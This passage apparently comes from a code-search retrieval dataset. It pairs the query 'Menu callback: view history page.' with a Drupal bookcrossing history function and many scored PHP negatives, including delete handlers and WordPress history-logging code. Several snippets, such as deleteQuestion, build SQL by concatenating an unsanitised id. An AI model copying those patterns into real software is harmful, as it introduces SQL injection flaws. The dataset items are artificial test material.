$this->executeUpdate($sqlQuery);\n\t}", "title": "" }, { "docid": "7edfb4ad0f1d657d4ef6840ee943b769", "score": "0.5196691", "text": "public function delete()\n {\n $this->db->beginTransaction();\n try {\n $this->db->delete(\"tags_assignment\", $this->db->quoteInto(\"tagid = ?\", $this->model->getId()));\n $this->db->delete(\"tags_assignment\", $this->db->quoteInto(\"tagid IN (SELECT id FROM tags WHERE idPath LIKE ?)\", $this->model->getIdPath() . $this->model->getId() . \"/%\"));\n\n $this->db->delete(\"tags\", $this->db->quoteInto(\"id = ?\", $this->model->getId()));\n $this->db->delete(\"tags\", $this->db->quoteInto(\"idPath LIKE ?\", $this->model->getIdPath() . $this->model->getId() . \"/%\"));\n\n $this->db->commit();\n } catch (\\Exception $e) {\n $this->db->rollBack();\n throw $e;\n }\n }", "title": "" }, { "docid": "aeb078ad2b73013ddc706669c7e0ddf7", "score": "0.5195485", "text": "public function destroy($id) {\n $message = $this->skillInfoRepository->destroy($id);\n if ($message) {\n\n return $this->errorForbidden($message);\n }\n\n return $this->noContent();\n }", "title": "" }, { "docid": "6c5b00bcddac3acf40b57da786dc552e", "score": "0.51916313", "text": "function deleteQuestion($id)\n{\n\t$bdd = login_bdd();\n\t$bdd->query('DELETE FROM faq\n \t\t\t WHERE id = ' . $id);\n}", "title": "" }, { "docid": "81dc227dc6729978b8e70fa719a5e4a9", "score": "0.5189381", "text": "public function destroy($id)\n {\n $model = new Model(\"education\");\n $conditions = array(\"id = \" . $id);\n $model->delete($conditions);\n }", "title": "" }, { "docid": "4be7cbefec9bd23d6e6a354f823c269c", "score": "0.51858604", "text": "public function delete(int|string $sessionId): void;", "title": "" }, { "docid": "1fb8086f503d48d2028d37e5072e3854", "score": "0.5185311", "text": "public function destroy(Survey $survey)\n {\n //\n }", "title": "" }, { "docid": "871902189f7b05b13baddbab324c8b6c", "score": "0.51767015", "text": "public function destroy(Person $person)\n {\n //\n }", "title": "" }, { "docid": "871902189f7b05b13baddbab324c8b6c", "score": "0.51767015", "text": "public function destroy(Person $person)\n {\n //\n }", "title": "" }, { "docid": "f0d8a0ece48b18ef89b0fc3b4088f971", "score": "0.51745164", "text": "public function delete($quiz_question_id = '')\r\n {\r\n $this->checkIfDemo();\r\n $this->AdminQuizQuestionModel->delete($quiz_question_id);\r\n }", "title": "" } ]
7c3c8e7368e969d713645538c5597850
Menu callback: view history page.
[ { "docid": "fecaa8b3dd4f6aa337fbf06f36e2247c", "score": "0.0", "text": "function bookcrossing_view_history($history) {\n $build = node_view($history['node'], 'history');\n global $user;\n $build = bookcrossing_prepare_book_view($build, $history, FALSE);\n\n drupal_set_title(t('Book history') . ' - ' . $history['node']->title);\n /**\n * Adding comment of the logged user to the output.\n */\n $isset = FALSE;\n $my_comment = '<div id=\"my-comment-text\">';\n if (isset($history['comments'][$user->uid])) {\n $my_comment .= $history['comments'][$user->uid];\n $isset = TRUE;\n }\n\n if (!$isset) {\n $query = db_select('bookcrossing_history', 'h');\n //$query->innerJoin('bookcrossing_books', 'b');\n $exist = $query\n ->fields('h', array('bid'))\n ->condition('h.uid', $user->uid, '=')\n ->condition('h.bid', $history['bid'], '=')\n ->execute()\n ->fetchField();\n\n if ($exist) {\n $my_comment .= t('Review wasnt added. You can add it by pressing \"change\" link.');\n }\n else {\n $my_comment .= t('You cant write reviews for book u didnt find.');\n }\n }\n \n $my_comment .= '</div>';\n\n $is_read_book = db_select('bookcrossing_history', 'h')\n ->fields('h', array('bid'))\n ->condition('uid', $user->uid, '=')\n ->condition('bid', $history['bid'], '=')\n ->execute()\n ->fetchField();\n\n $change_link = '';\n if ($is_read_book) {\n $change_link = l(t('(change)'), 'change-comment/' . $history['bid'], array('attributes' => array('class' => array('use-ajax'))));\n }\n $build['book_comment'] = array(\n '#markup' => '<div class=\"back-to-book\">' . l(t('<<back to book'), 'book/' . $history['bid']) . '</div><div class=\"my-comment\"><div class=\"my-comment-title\">' . t('My review') . $change_link . '</div>' . $my_comment . '</div>',\n );\n \n $build['author_and_year'] = array(\n '#markup' => bookcrossing_author_and_year($history),\n );\n\n /**\n * Generate output for history of the book.\n */\n $output = '<div class=\"history-wrapper\">';\n foreach ($history['places'] as $place) {\n $comment = isset($history['comments'][$place['user']->uid]) ? $history['comments'][$place['user']->uid] : '';\n $my_comment_class = $place['user']->uid == $user->uid ? ' m-c' : '';\n $user_link = '';\n $fbid = bookcrossing_load_fbid($place['user']->uid);\n if ($fbid) {\n $vars = array();\n $filepath = (isset($place['user']->picture->uri)) ? $place['user']->picture->uri : '';\n $name = !empty($place['user']->name) ? $place['user']->name : variable_get('anonymous', t('Anonymous'));\n $alt = t(\"@user's picture\", array('@user' => $name));\n $vars = array('path' => $filepath, 'alt' => $alt, 'title' => $alt);\n $vars['style_name'] = 'user-in-history';\n $image = theme('image_style', $vars);\n $user_link = l($image, 'http://www.facebook.com/profile.php?id=' . $fbid . '&sk=app_bookcrossing_by', array('html' => TRUE));\n }\n $output .= '<div class=\"place-wrapper clearfix\">\n <div class=\"history-comment' . $my_comment_class . '\">' . $comment . '</div>\n <div class=\"history-user-foto\">' . $user_link . '</div>\n <div class=\"history-user-info\">'\n . l($place['user']->name, $fbid ? 'http://www.facebook.com/profile.php?id=' . $fbid . '&sk=app_bookcrossing_by' : 'user/' . $place['user']->uid)\n . '<div class=\"history-places\">';\n\n if ($place['place']) {\n $output .= '<div class=\"place-found\">' . t('Found') . ':<div class=\"place-date-found\">' . format_date($place['found']) . ',' . $place['place']->name . '</div></div>';\n }\n\n if ($place['place_left']) {\n $output .= '<div class=\"place-left\">' . t('Released') . ':<div class=\"place-date-left\">' . format_date($place['time_left']) . ', ' . $place['place_left']->name . '</div></div>';\n }\n\n $output .= '</div></div></div>';\n }\n $output .= '</div>';\n\n $build['book_history'] = array(\n '#markup' => $output,\n );\n\n /**\n * Generate item list with status of the book.\n */\n $build['book_status'] = array(\n '#markup' => bookcrossing_book_status($history),\n );\n\n $build['history_pager'] = array(\n '#theme' => 'pager',\n );\n\n return $build;\n}", "title": "" } ]
[ { "docid": "bd5e3bf815aa6c21229df45c8e1b3d33", "score": "0.6904961", "text": "public function actionHistory()\n {\n $this->pageTitle = 'Your Viewing History';\n\n $data['pageHistory'] = History::model()->all('page');\n $data['pdfHistory'] = History::model()->all('pdf');\n\n $this->render('//content/history', $data);\n }", "title": "" }, { "docid": "718c7c28b8e2ac8f4d82368d6a4af4e4", "score": "0.67561156", "text": "public function history()\n {\n $data['title'] = 'Cuci Sepatu | Kang Cuci';\n $data['user'] = $this->workerModel->datauser();\n\n $this->load->view('worker/worker_header', $data);\n $this->load->view('worker/panel/sepatu', $data);\n $this->load->view('worker/worker_footer');\n }", "title": "" }, { "docid": "a96239897ac5449633a9d8bd3dfee5b9", "score": "0.6709702", "text": "public static function showMenuItem() {\n $title = __('Login History', 'simple-login-history');\n add_menu_page($title, $title, 'manage_options', 'simple_login_history_show_list', 'SimpleLoginHistory::showList', 'dashicons-welcome-learn-more', 81);\n }", "title": "" }, { "docid": "9884ba9c4dfebbfaad0bacebc799103e", "score": "0.6568345", "text": "public function actionHistory()\n {\n $model= User::findOne(['id' => Yii::$app->user->identity->getId()]);\n $orders = Order::find()->where(['id_user' => $model->id])->with('orderProds')->orderBy('date DESC')->all();\n return $this->render('history', [\n 'model' => $model,\n 'orders' => $orders,\n 'page' => SmapPages::find()->where(['id_class'=>4,'alias' => 'history'])->one()\n ]);\n }", "title": "" }, { "docid": "6c3950b4990ab175360839eb6654577f", "score": "0.64055383", "text": "function simple_history_management_page() {\n\n\tglobal $simple_history;\n\n\tsimple_history_purge_db();\n\n\t?>\n\n\t<div class=\"wrap simple-history-wrap\">\n\t\t<h2><?php echo __(\"History\", 'simple-history') ?></h2>\n\t\t<?php\t\n\t\tsimple_history_print_nav(array(\"from_page=1\"));\n\t\techo simple_history_print_history(array(\"items\" => $simple_history->get_pager_size(), \"from_page\" => \"1\"));\n\t\techo simple_history_get_pagination();\n\t\t?>\n\t</div>\n\n\t<?php\n\n}", "title": "" }, { "docid": "0e3767784786af53db779673dbd1accc", "score": "0.63831306", "text": "public function history()\n {\n $tittle['tittle'] = 'History Penjualan';\n\n $data = array(\n 'data_penjualan' => $this->penjualan->ambil_data_penjualan()->result_array(),\n 'data_detail_penjualan' => $this->penjualan->ambil_detail_penjualan(),\n 'user' => $this->db->get_where('user', ['username' =>\n $this->session->userdata('username')])->row_array()\n );\n\n //View dari Controller akuntansi/index\n $this->load->view('template/header', $tittle);\n $this->load->view('template/topbar', $data);\n $this->load->view('template/sidebar', $data);\n $this->load->view('transaksi/history', $data);\n $this->load->view('template/footer');\n }", "title": "" }, { "docid": "b36f1b4381fcb631a419142583227619", "score": "0.63758624", "text": "function action_history()\n{\n\tglobal $pagestore, $page, $full, $HistMax;\n\n\t$history = $pagestore->history($page);\n\n\tgen_headers($history[0][0]);\n\n\n\t$text = '';\n\t$latest_auth = '';\n\t$previous_ver = 0;\n\t$is_latest = 1;\n\n\tfor($i = 0; $i < count($history); $i++)\n\t{\n\t\tif($latest_auth == '')\n\t\t{\n\t\t\t$latest_auth = ($history[$i][3] == '' ? $history[$i][1]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t: $history[$i][3]);\n\t\t\t$latest_ver = $history[$i][2];\n\t\t}\n\n\t\tif($previous_ver == 0\n\t\t\t && $latest_auth != ($history[$i][3] == '' ? $history[$i][1]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t : $history[$i][3]))\n\t\t\t{ $previous_ver = $history[$i][2]; }\n\n\t\tif($i < $HistMax || $full)\n\t\t{\n\t\t\t$text = $text . html_history_entry($page, $history[$i][2],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $history[$i][0], $history[$i][1],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $history[$i][3],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $previous_ver == $history[$i][2] || !$full && $i == count($history)-1,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t $is_latest, $history[$i][4]);\n\t\t}\n\n\t\t$is_latest = 0;\n\t}\n\n\tif($i >= $HistMax && !$full)\n\t\t{ $text = $text . html_fullhistory($page, count($history)); }\n\n\t$p1 = $pagestore->page($page);\n\t$p1->version = $previous_ver;\n\t$p2 = $pagestore->page($page);\n\t$p2->version = $latest_ver;\n\n\t$diff = diff_compute($p1->read(), $p2->read());\n\ttemplate_history(array('page' => $p2->as_array(),\n\t\t\t\t\t\t\t\t\t\t\t\t 'history' => $text,\n\t\t\t\t\t\t\t\t\t\t\t\t 'diff' => diff_parse($diff)));\n}", "title": "" }, { "docid": "c8dc605ef9736216007e6ce2fe34c4dd", "score": "0.62705433", "text": "public function canShowHistory() {}", "title": "" }, { "docid": "3ba17fda626fca507c9a676b6fa0b338", "score": "0.6234843", "text": "public function history()\n {\n $data['courses'] = $this->exchange_rates_model->get_courses();\n $data['title'] = 'History course';\n\n $this->load->view('templates/header', $data);\n $this->load->view('exchange_rates/history', $data);\n $this->load->view('templates/footer');\n }", "title": "" }, { "docid": "79750c96df929dab3d48a6e3c12fc7b9", "score": "0.61277753", "text": "function ft_hook_menu() {}", "title": "" }, { "docid": "39e80f8bbc4d352087bccdbf19c241f8", "score": "0.61016625", "text": "public function getHistory()\n {\n return view('PagePersonal.history');\n }", "title": "" }, { "docid": "6ec8324c05535bec03f066220039e736", "score": "0.609704", "text": "private function menu()\n {\n $data['links'] = ['create', 'read', 'update', 'delete'];\n\n return $this->view->render($data, 'home/menu');\n }", "title": "" }, { "docid": "d3a3ae835e9650778b1c722abfa51cf3", "score": "0.60861313", "text": "function learn_press_single_quiz_history() {\n\t\tlearn_press_get_template( 'content-quiz/history.php' );\n\t}", "title": "" }, { "docid": "1bf0463a133d21aa87090814760db150", "score": "0.598377", "text": "public function taskHistory(){\n //Changes the current page to TaskHistory\n $_SESSION['current_page'] = 'TaskHistory';\n //No data needs to be loaded but the variable is still requored\n $data = [];\n //Load the view\n $this->view('taskHistory/TaskHistory', $data);\n }", "title": "" }, { "docid": "f4e096ae0907fac1255eba503dada6ff", "score": "0.5975234", "text": "public function index()\n {\n $history = App\\Models\\history::latest()->first();\n return view('admin.history.view',compact('history'));\n }", "title": "" }, { "docid": "c9a04e1a52814430b110c0c3b11d3812", "score": "0.59672344", "text": "function log_viewer_add_menu_item() {\n\techo '<li><a href=\"http://localhost/ds-plugins/log-viewer/page.php\">Log Viewer</a></li>';\n}", "title": "" }, { "docid": "041c6d37345583d3dc10b2bb887ba4ac", "score": "0.59475666", "text": "public function officerHistoryView(){\n $this->view('auditor/officerHistoryView');\n \n $this->view->render(); // This is how load the view\n }", "title": "" }, { "docid": "801c4698172221ee938bbd4958f86943", "score": "0.59126616", "text": "public function actionIndex()\n {\n return $this->redirect('history');\n //return $this->render('index');\n }", "title": "" }, { "docid": "6fab427ef248d78e18c0a0fc1b911ddc", "score": "0.5908441", "text": "function history()\n {\n $data['tbl_history'] = $this->Tbl_history_model->get_tbl_history();\n \n if(isset($data['tbl_history']['id_history']))\n {\n if(isset($_POST) && count($_POST) > 0) \n { \n $params = array(\n 'history_desc_id' => $this->input->post('history_desc_id'),\n 'history_desc_en' => $this->input->post('history_desc_en'),\n );\n\n $this->Tbl_history_model->update_tbl_history($params); \n redirect('admin/history');\n }\n else\n {\n $data = array(\n \"site\" => $_SERVER['SERVER_NAME'],\n \"page\" => \"History\",\n \"tbl_history\" => $this->Tbl_history_model->get_tbl_history()\n );\n $this->load->view('layout/admin/header', $data);\n $this->load->view('edit_history',$data);\n $this->load->view('layout/admin/footer');\n }\n }\n else\n show_error('The tbl_home you are trying to edit does not exist.');\n }", "title": "" }, { "docid": "a6c5fd7eb3957544a545fade3960de87", "score": "0.5901755", "text": "public function show(history $history)\n {\n //\n }", "title": "" }, { "docid": "282a0e2c7c485d529184314ab9bed7cb", "score": "0.58987325", "text": "public function action_chat_history() {\n\t\t$this->_template->set('page_title', 'All Messages');\n\t\t$this->_template->set('page_info', 'view and manage chat messages');\n\t\t$messages = ORM::factory('Message')->get_grouped_messages($this->_current_user->id);\n\t\t$this->_template->set('messages', $messages);\n\t\t$this->_set_content('messages');\n\t}", "title": "" }, { "docid": "ad7cd24d9eb0e31cf50a0d0f58deb9cd", "score": "0.5896662", "text": "public function show()\n {\n return view('history');\n }", "title": "" }, { "docid": "68d4b222f08e00c40d96dc387dc2aa80", "score": "0.5892347", "text": "public function get_history()\n {\n return view('content.history')\n ->with('pages', History::page_all())\n ->with('pdfs', History::pdf_all());\n }", "title": "" }, { "docid": "e49ac7ee21c760cb8f7d632b3b862440", "score": "0.5848969", "text": "function getNavMenu() {\r\r\n\t$PView = new PView;\r\r\n\t$Appl = $PView -> getAppl();\r\r\n\t$page = 1;\r\r\n\r\r\n\tglobal $applImages;\r\r\n\t$imagesData = $PView->sortApplImages($applImages);\r\r\n\t\r\r\n\tforeach($imagesData as $key => $dataset){\r\r\n\t\tif ($dataset['imageId'] == $Appl[1]){\r\r\n\t\t\t$currImage = $key;\r\r\n\t\t}\r\r\n\t}\r\r\n\t//back to list\r\r\n\t$currImageData = $PView->getImageData($Appl[1]);\r\r\n\twhile ($PView->getPView_config(\"pics_per_page\")*$page < $currImage + 1){\r\r\n\t\t$page++;\r\r\n\t}\r\r\n\tif (isset($_GET['view'])) {\r\r\n\t\t$view = $_GET['view'];\r\r\n\t}else{\r\r\n\t\t$view = \"\";\r\r\n\t}\r\r\n\tswitch ($view) {\r\r\n\t\tcase \"cat\":\r\r\n\t\t\t$backTo = \"cat=\".$currImageData['cat'].\"&amp;page=\".$page;\r\r\n\t\t\t$linkText = LAN_IMAGE_51;\r\r\n\t\tbreak;\r\r\n\t\tcase \"user\":\r\r\n\t\t\t$backTo = \"user=\".$currImageData['uploaderUserId'].\"&amp;page=\".$page;\r\r\n\t\t\t$linkText = LAN_IMAGE_52;\r\r\n\t\tbreak;\t\t\r\r\n\t\tcase \"album\":\r\r\n\t\t\t$backTo = \"album=\".$currImageData['albumId'].\"&amp;page=\".$page;\r\r\n\t\t\t$linkText = LAN_IMAGE_8;\r\r\n\t\tbreak;\r\r\n\t\tcase \"\":\r\r\n\t\t\t// default for call from menu or a direct link\r\r\n\t\t\t$backTo = \"album=\".$currImageData['albumId'].\"&amp;page=\".$page;\r\r\n\t\t\t$linkText = LAN_IMAGE_8;\r\r\n\t\tbreak;\t\t\r\r\n\t}\r\r\n\t\r\r\n\r\r\n\t//first image\r\r\n\t$imageFirst = $imagesData[0]['imageId'];\r\r\n\r\r\n\t//last image\r\r\n\t$imageLast = $imagesData[count($imagesData) - 1]['imageId'];\r\r\n\t//previous image\r\r\n\t$imagePrev = $imagesData[$currImage - 1]['imageId'];\r\r\n\t//next image\r\r\n\t$imageNext = $imagesData[$currImage + 1]['imageId'];\r\r\n\r\r\n\t$NavMenu = \"<table width='95%'><tr>\";\r\r\n\t$NavMenu.= \"<td width='18%' style='text-align:center;'><a href='pviewgallery.php?image=\".$imageFirst.\"&amp;view=\".$view.\"'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/back.png' border='0px'></a></td>\";\r\r\n\t$NavMenu.= \"<td width='18%' style='text-align:center;'>\";\r\r\n\tif ($imagePrev) {\r\r\n\t\t$NavMenu.= \"<a href='pviewgallery.php?image=\".$imagePrev.\"&amp;view=\".$view.\"'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/image_prev.png' border='0px'></a>\";\r\r\n\t}\r\r\n\t$NavMenu.= \"&nbsp;</td>\";\r\r\n\t$NavMenu.= \"<td width='28%' style='text-align:center;'><a href='pviewgallery.php?\".$backTo.\"'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/up.png' border='0px'></a></td>\";\r\r\n\t$NavMenu.= \"<td width='18%' style='text-align:center;'>\";\r\r\n\tif ($imageNext) {\r\r\n\t\t$NavMenu.= \"<a href='pviewgallery.php?image=\".$imageNext.\"&amp;view=\".$view.\"'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/image_next.png' border='0px'></a>\";\r\r\n\t}\r\r\n\t$NavMenu.= \"&nbsp;</td>\";\r\r\n\t$NavMenu.= \"<td width='18%' style='text-align:center;'><a href='pviewgallery.php?image=\".$imageLast.\"&amp;view=\".$view.\"'><img src='\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/next.png' border='0px'></a></td>\";\r\r\n\t$NavMenu.= \"</tr></table>\";\r\r\n\treturn $NavMenu;\r\r\n}", "title": "" }, { "docid": "6bf5ab3679750e4f5eb0c80256035d6f", "score": "0.58469194", "text": "public function actionHistory()\n {\n $id = Yii::app()->request->getQuery('id');\n $model = Order::model()->findByPk($id);\n\n if (!$model)\n $this->error404(Yii::t('CartModule.admin', 'ORDER_NOT_FOUND'));\n if ($model->is_deleted)\n throw new CHttpException(404, Yii::t('CartModule.admin', 'ORDER_ISDELETED'));\n $this->render('_history', array(\n 'model' => $model\n ));\n }", "title": "" }, { "docid": "30c22571c1a6d82bdfe77220781960ad", "score": "0.5841008", "text": "public function action_index()\n{\n $history = Jelly::select( 'user_history' )\n ->where(':primary_key', '=', $this->user->id)\n ->limit( 25 )\n ->execute();\n\n $this->template->content = View::factory('history/index')\n ->set('history', $history);\n\n}", "title": "" }, { "docid": "5287e17d5e36da46820e9992e036ef0e", "score": "0.5823174", "text": "public function visitor()\n {\n $this->template = 'display';\n $menu = [];\n $this->set('menu', $menu);\n }", "title": "" }, { "docid": "6d5ee908053d77593e0bfb1d547cd679", "score": "0.580619", "text": "public function back();", "title": "" }, { "docid": "f713a1641f70c2f1cb291d2dbcc3feda", "score": "0.5804632", "text": "public function clienthistoryAction()\n {\n // If no client ID was provided, bail out.\n if (!$this->_hasParam('id')) {\n throw new UnexpectedValueException('No client ID parameter provided');\n }\n\n $clientId = $this->_getParam('id');\n\n // Pass current and past client and household history.\n $service = new App_Service_Member();\n\n $this->view->pageTitle = 'View Household History';\n $this->view->client = $service->getClientById($clientId);\n $this->view->householders = $service->getHouseholdersByClientId($clientId);\n $this->view->history = $service->getClientHouseholdHistory($clientId);\n }", "title": "" }, { "docid": "8e276bed06e95aa2a690f5074a83c7b9", "score": "0.5802998", "text": "public function menuAction()\n {\n $site = $this->getSessionVar('site');\n /* @var $repo \\Allegro\\SitesBundle\\Repository\\SiteRepository */\n $repo = $this->getRepo('Site');\n\n /* @var $siteEntity Allegro\\SitesBundle\\Entity\\Site */\n $siteEntity = $repo->getSiteBySlug($site);\n return $this->render($this->getTemplate('menu.html'), array(\n 'site' => $siteEntity,\n '_locale' => $this->getSessionVar('_locale')\n ));\n }", "title": "" }, { "docid": "7e3f0256c7d8e753e92faf490751c1e2", "score": "0.5794222", "text": "function printMenuLink() {\r\n\tprint '<br><br><a href=\"/menu/menu.php\">Back to Menu</a>';\r\n}", "title": "" }, { "docid": "3142e38339f9f717706a8b40dcdcdb87", "score": "0.57828015", "text": "function labs_page_menu_args( $args ) {\n\t$args['show_home'] = true;\n\treturn $args;\n}", "title": "" }, { "docid": "ea01d4125445eba000fcbae4c643f8bf", "score": "0.5773785", "text": "protected function menus()\n {\n\n }", "title": "" }, { "docid": "5d80e9d27ee131215cdd220bfc1eb775", "score": "0.57686824", "text": "public function index()\n {\n $this->title .= ' view';\n $this->vars = array_add($this->vars, 'menu', $this->rep->make());\n }", "title": "" }, { "docid": "28d029688a02ddfa2590b301e0b4f89d", "score": "0.5755261", "text": "public function modMenu() {}", "title": "" }, { "docid": "28d029688a02ddfa2590b301e0b4f89d", "score": "0.57551265", "text": "public function modMenu() {}", "title": "" }, { "docid": "28d029688a02ddfa2590b301e0b4f89d", "score": "0.575314", "text": "public function modMenu() {}", "title": "" }, { "docid": "878cb0179398755c3ba05fc1e67e2266", "score": "0.57509494", "text": "public function indexAction()\n {\n $this->_helper->layout->setLayout('pbo/pbo');\n \n $chapId = Zend_Auth::getInstance()->getIdentity()->id; \n \n $menuModel = new Pbo_Model_WlMenuItems();\n $menu = 0;\n //assign query results to $menu variable\n $menuItems = $menuModel->getAllMenus($chapId);\n \n //pass heading to the view\n $this->view->title = \"Pages : Manage Menus\";\n \n //set pagination \n $pagination = Zend_Paginator::factory($menuItems);\n \n if(count($pagination)) \n { \n $pagination->setCurrentPageNumber($this->_request->getParam('page', 1));\n $pagination->setItemCountPerPage(20);\n \n $this->view->menus = $pagination;\n unset($pagination);\n }\n\n $this->view->menuMessages = $this->_helper->flashMessenger->getMessages();\n }", "title": "" }, { "docid": "ff57855b159dfdf6a69244e13d99ccc2", "score": "0.57474893", "text": "protected function _menu()\n\t{\n\t\tif (ee()->view->disabled('ee_menu'))\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tee()->view->cp_main_menu = ee()->menu->generate_menu();\n\t}", "title": "" }, { "docid": "c31890088c1175e5ccb255d5e4e21615", "score": "0.57408386", "text": "function hook_menu() {\n\t\treturn null;\n\t}", "title": "" }, { "docid": "2afee03ab411e6817cabaa68ace7ca9d", "score": "0.57132953", "text": "function emc_page_menu_args( $args ) {\r\n\t$args['show_home'] = true;\r\n\treturn $args;\r\n}", "title": "" }, { "docid": "509539e715274baea5aebce7e81918ba", "score": "0.5707234", "text": "public function personHistoryView(){\n $this->view('auditor/personHistoryView');\n \n $this->view->render(); // This is how load the view\n }", "title": "" }, { "docid": "1fce4613f6bc59820c5057ebc5724312", "score": "0.5695792", "text": "function simple_history_settings_page() {\n\t// echo \"Please choose options for simple history ...\";\n}", "title": "" }, { "docid": "b03fb625201ba099b7e1f3e5fb605b41", "score": "0.5675084", "text": "public function get_list_menu()\n {\n if ($this->request->isAJAX())\n {\n $param['MenuModel'] = $this->MenuModel->get();\n echo view(\"backend/option/menu/page-list\", $param);\n } \n else\n {\n echo \"No access permits\";\n }\n }", "title": "" }, { "docid": "b4c999125cc32064bade97fe398a7c39", "score": "0.56747323", "text": "function simple_history_print_history($args = null) {\n\t\n\tglobal $simple_history;\n\t\n\t$arr_events = simple_history_get_items_array($args);\n\t#sf_d($arr_events);\n\t#sf_d($args);sf_d($arr_events);\n\t$defaults = array(\n\t\t\"page\" => 0,\n\t\t\"items\" => $simple_history->get_pager_size(),\n\t\t\"filter_type\" => \"\",\n\t\t\"filter_user\" => \"\",\n\t\t\"is_ajax\" => false\n\t);\n\n\t$args = wp_parse_args( $args, $defaults );\n\t$output = \"\";\n\tif ($arr_events) {\n\t\tif (!$args[\"is_ajax\"]) {\n\t\t\t// if not ajax, print the div\n\t\t\t$output .= \"<div class='simple-history-ol-wrapper'><ol class='simple-history'>\";\n\t\t}\n\t\n\t\t$loopNum = 0;\n\t\t$real_loop_num = -1;\n\t\tforeach ($arr_events as $one_row) {\n\t\t\t\n\t\t\t$real_loop_num++;\n\n\t\t\t$object_type = $one_row->object_type;\n\t\t\t$object_type_lcase = strtolower($object_type);\n\t\t\t$object_subtype = $one_row->object_subtype;\n\t\t\t$object_id = $one_row->object_id;\n\t\t\t$object_name = $one_row->object_name;\n\t\t\t$user_id = $one_row->user_id;\n\t\t\t$action = $one_row->action;\n\t\t\t$action_description = $one_row->action_description;\n\t\t\t$occasions = $one_row->occasions;\n\t\t\t$num_occasions = sizeof($occasions);\n\t\t\t$object_image_out = \"\";\n\n\t\t\t$css = \"\";\n\t\t\tif (\"attachment\" == $object_type_lcase) {\n\t\t\t\tif (wp_get_attachment_image_src($object_id, array(50,50), true)) {\n\t\t\t\t\t// yep, it's an attachment and it has an icon/thumbnail\n\t\t\t\t\t$css .= ' simple-history-has-attachment-thumnbail ';\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (\"user\" == $object_type_lcase) {\n\t\t\t\t$css .= ' simple-history-has-attachment-thumnbail ';\n\t\t\t}\n\n\t\t\tif ($num_occasions > 0) {\n\t\t\t\t$css .= ' simple-history-has-occasions ';\n\t\t\t}\n\t\t\t\n\t\t\t$output .= \"<li class='$css'>\";\n\n\t\t\t$output .= \"<div class='first'>\";\n\t\t\t\n\t\t\t// who performed the action\n\t\t\t$who = \"\";\n\t\t\t$user = get_user_by(\"id\", $user_id); // false if user does not exist\n\n\t\t\tif ($user) {\n\t\t\t\t$user_avatar = get_avatar($user->user_email, \"32\"); \n\t\t\t\t$user_link = \"user-edit.php?user_id={$user->ID}\";\n\t\t\t\t$who_avatar = sprintf('<a class=\"simple-history-who-avatar\" href=\"%2$s\">%1$s</a>', $user_avatar, $user_link);\n\t\t\t} else {\n\t\t\t\t$user_avatar = get_avatar(\"\", \"32\"); \n\t\t\t\t$who_avatar = sprintf('<span class=\"simple-history-who-avatar\">%1$s</span>', $user_avatar);\n\t\t\t}\n\t\t\t$output .= $who_avatar;\n\t\t\t\n\t\t\t// section with info about the user who did something\n\t\t\t$who .= \"<span class='who'>\";\n\t\t\tif ($user) {\n\t\t\t\t$who .= sprintf('<a href=\"%2$s\">%1$s</a>', $user->user_nicename, $user_link);\n\t\t\t\tif (isset($user->first_name) || isset($user->last_name)) {\n\t\t\t\t\tif ($user->first_name || $user->last_name) {\n\t\t\t\t\t\t$who .= \" (\";\n\t\t\t\t\t\tif ($user->first_name && $user->last_name) {\n\t\t\t\t\t\t\t$who .= esc_html($user->first_name) . \" \" . esc_html($user->last_name);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$who .= esc_html($user->first_name) . esc_html($user->last_name); // just one of them, no space necessary\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$who .= \")\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$who .= \"&lt;\" . __(\"Unknown or deleted user\", 'simple-history') .\"&gt;\";\n\t\t\t}\n\t\t\t$who .= \"</span>\";\n\n\t\t\t// what and object\n\t\t\tif (\"post\" == $object_type_lcase) {\n\t\t\t\t\n\t\t\t\t$post_out = \"\";\n\t\t\t\t\n\t\t\t\t// Get real name for post type (not just the slug for custom post types)\n\t\t\t\t$post_type_object = get_post_type_object( $object_subtype );\n\t\t\t\tif ( is_null($post_type_object) ) {\n\t\t\t\t\t$post_out .= esc_html__( ucfirst( $object_subtype ) );\n\t\t\t\t} else {\n\t\t\t\t\t$post_out .= esc_html__( ucfirst( $post_type_object->labels->singular_name ) );\n\t\t\t\t}\n\n\t\t\t\t$post = get_post($object_id);\n\n\t\t\t\tif (null == $post) {\n\t\t\t\t\t// post does not exist, probably deleted\n\t\t\t\t\t// check if object_name exists\n\t\t\t\t\tif ($object_name) {\n\t\t\t\t\t\t$post_out .= \" <span class='simple-history-title'>\\\"\" . esc_html($object_name) . \"\\\"</span>\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$post_out .= \" <span class='simple-history-title'>&lt;unknown name&gt;</span>\";\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t#$title = esc_html($post->post_title);\n\t\t\t\t\t$title = get_the_title($post->ID);\n\t\t\t\t\t$title = esc_html($title);\n\t\t\t\t\t$edit_link = get_edit_post_link($object_id, 'display');\n\t\t\t\t\t$post_out .= \" <a href='$edit_link'>\";\n\t\t\t\t\t$post_out .= \"<span class='simple-history-title'>{$title}</span>\";\n\t\t\t\t\t$post_out .= \"</a>\";\n\t\t\t\t}\n\n\t\t\t\t$post_out .= \" \" . esc_html__($action, \"simple-history\");\n\t\t\t\t\n\t\t\t\t$post_out = ucfirst($post_out);\n\t\t\t\t$output .= $post_out;\n\n\t\t\t\t\n\t\t\t} elseif (\"attachment\" == $object_type_lcase) 